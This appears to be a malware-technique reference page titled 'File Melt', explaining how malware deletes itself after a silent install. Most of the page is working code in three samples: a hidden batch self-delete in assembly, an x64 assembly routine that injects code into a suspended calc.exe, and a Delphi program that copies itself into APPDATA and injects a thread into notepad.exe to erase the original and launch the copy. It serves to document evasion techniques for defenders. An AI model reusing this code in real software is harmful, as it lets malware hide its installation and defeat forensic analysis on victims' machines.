File Melt

This technique is often used by Malware (sometimes as an option) to delete itself after being silently installed (upon first execution).

U1007

Code Snippets

include 'win32ax.inc'

main:



     stdcall [GetModuleFileName],0,modulename,80
     stdcall [CreateFile],BatFile,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0

     mov [myfile], eax
     cmp eax, 0xffffff
     jz .exit

     stdcall [wsprintf],buf,MainStr,modulename,modulename
     stdcall [WriteFile],[myfile],buf,bufsize,byteswritten,0
     stdcall [CloseHandle],[myfile]


     stdcall [ShellExecute],0,0,BatFile,0,0,SW_HIDE

.exit:	stdcall [ExitProcess],0



 MainStr db ":Repeat",13,10,\
	   "del %s",13,10,\
	   "if exist %s goto Repeat",13,10,\
	   "del del.bat",0

 BatFile db "del.bat",0

 modulename rb 80
 buf	    rb	0xff
 bufsize = $ - buf

 myfile 		 dd ?
 byteswritten	     dd ?

data import
library kernel32,"kernel32.dll",user32,"user32.dll",shell32,"shell32.dll"
include "%include%/api/shell32.inc"
include "%include%/api/kernel32.inc"
include "%include%/api/user32.inc"
end data
include 'win64ax.inc'
include 'pe.inc'
entry start


start:

       sub rsp, 8 ; Align stack

       fastcall [GetModuleFileNameA], 0, modulename, 50 ; Get full path of this file

       mov rax,[gs:60h]    ; PEB
       mov rax,[rax+10h]   ; ImageBaseAddress

       mov [ImageBaseAddress], rax

       movsxd  rax, dword [rax+IMAGE_DOS_HEADER.e_lfanew]
       add rax,[ImageBaseAddress]

       mov eax, dword [rax+IMAGE_NT_HEADERS64.OptionalHeader.SizeOfImage]
       mov [dwSize], eax

       ; To work for Win10 we must clear the sinfo struct (104 Bytes)

       cinvoke memset, sinfo, 0, 104d
       mov  [sinfo.cb], 104d

       ; Now we create the process to inject our code in with CREATE_SUSPENDED flag so it does not actually run :)

       fastcall [CreateProcessA], 0, sCalc, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, sinfo, pinfo


       ; Allocate memory in the remote process (Calc.exe)

       fastcall [VirtualAllocEx], [pinfo.hProcess], [ImageBaseAddress], [dwSize], MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE

       ; Write it to the remote process

       fastcall [WriteProcessMemory], [pinfo.hProcess], rax, [ImageBaseAddress], [dwSize], 0

       ; execute the code pointed by HijackedThread into the remote process

       fastcall [CreateRemoteThread], [pinfo.hProcess], 0, 0, HijackedThread, 0, 0, 0

exit:  fastcall [ExitProcess], 0  ; exit this process so the injected code can delete this file !



 HijackedThread:

       sub rsp, 8

       invoke DeleteFileA, modulename  ; <-- modulename contains the full path of this file
       invoke ExitProcess,0



section '.data' data readable writeable


sCalc  db  'calc.exe',0  ; <-- process where we inject our code in


 modulename  rb 50



 pinfo	      PROCESS_INFORMATION
 sinfo	      STARTUPINFO

 ImageBaseAddress     dq 0
 dwSize 	      dd 0


section '.idata' import data readable writeable

  library kernel32,'KERNEL32.DLL',\
	  user32,'USER32.DLL',\
	  msvcrt,'msvcrt.dll'


 import msvcrt,\
	memset,'memset'

  include 'api\kernel32.inc'
  include 'api\user32.inc'
{
  32Bit Example of File Melting
}

program Melt;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.SysUtils,
  WinAPI.Windows,
  shlobj;


type
  TRemotePointer = record
    Address : Pointer;
    Size    : Cardinal;
  end;

  TMeltThreadInfo = record
    // WinAPI
    GetProcAddress : Pointer;
    LoadLibrary    : Pointer;
    GetLastError   : Pointer;
    ExitProcess    : Pointer;
    DeleteFileW    : Pointer;
    Sleep          : Pointer;
    WinExec        : Pointer;

    // Str
    sTargetFile    : Pointer;
    sExecFile      : Pointer;
  end;
  PMeltThreadInfo = ^TMeltThreadInfo;

{
  Generate an exception message with Last Error Information
}
function GetLastErrorMessage(AFuncName : String) : String;
begin
  result := Format('"%s" call failed with LastError=[%d], Message=[%s].', [
    AFuncName,
    GetLastError(),
    SysErrorMessage(GetLastError())
  ]);
end;

{
  Spawn a new hidden process
}
function Spawn(APEFile : String) : THandle;
var hProc               : THandle;
    b                   : Boolean;
    AStartupInfo        : TStartupInfo;
    AProcessInformation : TProcessInformation;
begin
  result := INVALID_HANDLE_VALUE;
  ///

  ZeroMemory(@AProcessInformation, SizeOf(TProcessInformation));
  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));

  AStartupInfo.cb          := SizeOf(TStartupInfo);
  AStartupInfo.wShowWindow := SW_SHOW;
  AStartupInfo.dwFlags     := STARTF_USESHOWWINDOW;

  UniqueString(APEFile);

  b := CreateProcessW(
                          PWideChar(APEFile),
                          nil,
                          nil,
                          nil,
                          False,
                          0,
                          nil,
                          nil,
                          AStartupInfo,
                          AProcessInformation
  );

  if not b then
    raise Exception.Create(GetLastErrorMessage('CreateProcessW'));

  ///
  result := AProcessInformation.hProcess;
end;

{
  Melt File using Process Injection Technique
}

procedure MeltThread(pInfo : PMeltThreadInfo) ; stdcall;
var _GetLastError   : function() : DWORD; stdcall;
    _ExitProcess    : procedure(uExitCode : UINT); stdcall;
    _DeleteFileW    : function(lpFileName : LPCSTR) : BOOL; stdcall;
    _Sleep          : procedure(dwMilliseconds : DWORD); stdcall;
    _MessageBox : function(hWindow : HWND; lpText : LPCWSTR; lpCaption : LPCWSTR; uType : UINT):integer;stdcall;
    _WinExec        : function(lpCmdLine : LPCSTR; uCmdShow : UINT) : UINT; stdcall;
begin
  @_GetLastError   := pInfo^.GetLastError;
  @_ExitProcess    := pInfo^.ExitProcess;
  @_DeleteFileW    := pInfo^.DeleteFileW;
  @_Sleep          := pInfo^.Sleep;
  @_WinExec        := pInfo^.WinExec;

  while not _DeleteFileW(pInfo^.sTargetFile) do begin
    if (_GetLastError = ERROR_FILE_NOT_FOUND) then
      break;
    ///

    _Sleep(100);
  end;

  _WinExec(PAnsiChar(pInfo^.sExecFile), SW_SHOW);

  _ExitProcess(0);

  /// EGG
  asm
    mov eax, $DEADBEAF;
    mov eax, $DEADBEAF;
  end;
end;

procedure DoMelt_Injection(ATargetFile, AExecFile : String);
var hProc         : THandle;
    ABytesWritten : SIZE_T;
    AInfo         : TMeltThreadInfo;
    p             : Pointer;
    AThreadID     : DWORD;
    AThreadProc   : TRemotePointer;
    AInjectedInfo : TRemotePointer;
    hKernel32     : THandle;
    pSysWow64     : PWideChar;

  function FreeRemoteMemory(var ARemotePointer : TRemotePointer) : Boolean;
  begin
    result := False;
    ///

    if (NOT Assigned(ARemotePointer.Address)) or (ARemotePointer.Size = 0) then
      Exit();

    result := VirtualFreeEx(hProc, ARemotePointer.Address, ARemotePointer.Size, MEM_RELEASE);

    ZeroMemory(@ARemotePointer, SizeOf(TRemotePointer));
  end;

  function InjectBuffer(pBuffer : PVOID; ABufferSize : Cardinal) : TRemotePointer;
  begin
    ZeroMemory(@result, SizeOf(TRemotePointer));
    ///

    result.Size := ABufferSize;
    result.Address := VirtualAllocEx(hProc, nil, result.Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if result.Address = nil then
      raise Exception.Create(GetLastErrorMessage('VirtualAllocEx'));
    ///

    if not WriteProcessMemory(hProc, result.Address, pBuffer, result.Size, ABytesWritten) then begin
      FreeRemoteMemory(result);

      raise Exception.Create(GetLastErrorMessage('WriteProcessMemory'));
    end;
  end;

  function InjectStringW(AString : String) : TRemotePointer;
  begin
    result := InjectBuffer(PWideChar(AString), (Length(AString) * SizeOf(WideChar)));
  end;

  function InjectStringA(AString : AnsiString) : TRemotePointer;
  begin
    result := InjectBuffer(PAnsiChar(AString), (Length(AString) * SizeOf(AnsiChar)));
  end;

  function GetFuncSize(pFunc : Pointer) : Cardinal;
  {
    This is a very dumb but working technique, we scan for our special pattern to
    get the address of our last MeltThread instruction.

    We skip all epilogue instructions since the thread will end the parent process.

    Other techniques exists to know the exact size of a function but is not required
    for our example.
  }
  var I              : Integer;
      pCurrentRegion : Pointer;
      AFound         : Boolean;

  const EGG : array[0..5-1] of Byte = ($B8, $AF, $BE, $AD, $DE);
  begin
    I := 0;
    AFound := False;

    while True do begin
      pCurrentRegion := Pointer(NativeUInt(pFunc) + I);

      if CompareMem(pCurrentRegion, @EGG, Length(EGG)) then begin
        if AFound then begin
          result := I - Length(EGG);

          break;
        end;

        AFound := True;
      end;

      Inc(I);
    end;
  end;

begin
  GetMem(pSysWOW64, MAX_PATH);
  try
    SHGetSpecialFolderPathW(0, pSysWOW64, CSIDL_SYSTEMX86, False);
  finally
    FreeMem(pSysWOW64, MAX_PATH);
  end;

  hProc := Spawn(Format('%s\notepad.exe', [String(pSysWOW64)]));
  try
    ZeroMemory(@AInfo, SizeOf(TMeltThreadInfo));

    {
      Prepare Thread Parameter
    }
    hKernel32 := LoadLibrary('kernel32.dll');

    AInfo.GetLastError   := GetProcAddress(hKernel32, 'GetLastError');
    AInfo.ExitProcess    := GetProcAddress(hKernel32, 'ExitProcess');
    AInfo.DeleteFileW    := GetProcAddress(hKernel32, 'DeleteFileW');
    AInfo.Sleep          := GetProcAddress(hKernel32, 'Sleep');
    AInfo.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');
    AInfo.LoadLibrary    := GetProcAddress(hKernel32, 'LoadLibraryW');
    AInfo.WinExec        := GetProcAddress(hKernel32, 'WinExec');

    AInfo.sTargetFile    := InjectStringW(ATargetFile).Address;
    AInfo.sExecFile      := InjectStringA(AnsiString(AExecFile)).Address;
    try
      AThreadProc := InjectBuffer(@MeltThread, GetFuncSize(@MeltThread));

      AInjectedInfo := InjectBuffer(@AInfo, SizeOf(TMeltThreadInfo));

      if CreateRemoteThread(hProc, nil, 0, AThreadProc.Address, AInjectedInfo.Address, 0, AThreadID) = 0 then
        raise Exception.Create(GetLastErrorMessage('CreateRemoteThread'));

      WriteLn('Done.');
    except
      on E: Exception do begin
        TerminateProcess(hProc, 0);

        raise;
      end;
    end;
  finally
    CloseHandle(hProc);
  end;
end;

{
  Program Entry Point
}
var ACurrentFile : String;
    ADestFile    : String;
begin
  try
    ACurrentFile := GetModuleName(0);

    ADestFile := Format('%s\%s', [
        GetEnvironmentVariable('APPDATA'),
        ExtractFileName(GetModuleName(0))
    ]);

    if String.Compare(ACurrentFile, ADestFile, True) = 0 then begin
      {
        After Melt (New Installed Copy)
      }

      WriteLn(Format('Melt successfully. I''m running from "%s"', [ACurrentFile]));
      WriteLn('Press enter to exit.');
      Readln;
    end else begin
      {
        Melt Instance
      }
      WriteLn('Install our copy and initiate file melting...');

      if NOT CopyFile(
                        PWideChar(ACurrentFile),
                        PWideChar(ADestFile),
                        False) then
        raise Exception.Create(Format('Could not copy file from "%s" to "%s"', [ACurrentFile, ADestFile]));

      DoMelt_Injection(ACurrentFile, ADestFile);
    end;
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

Subscribe to our Newsletter and don't miss important updates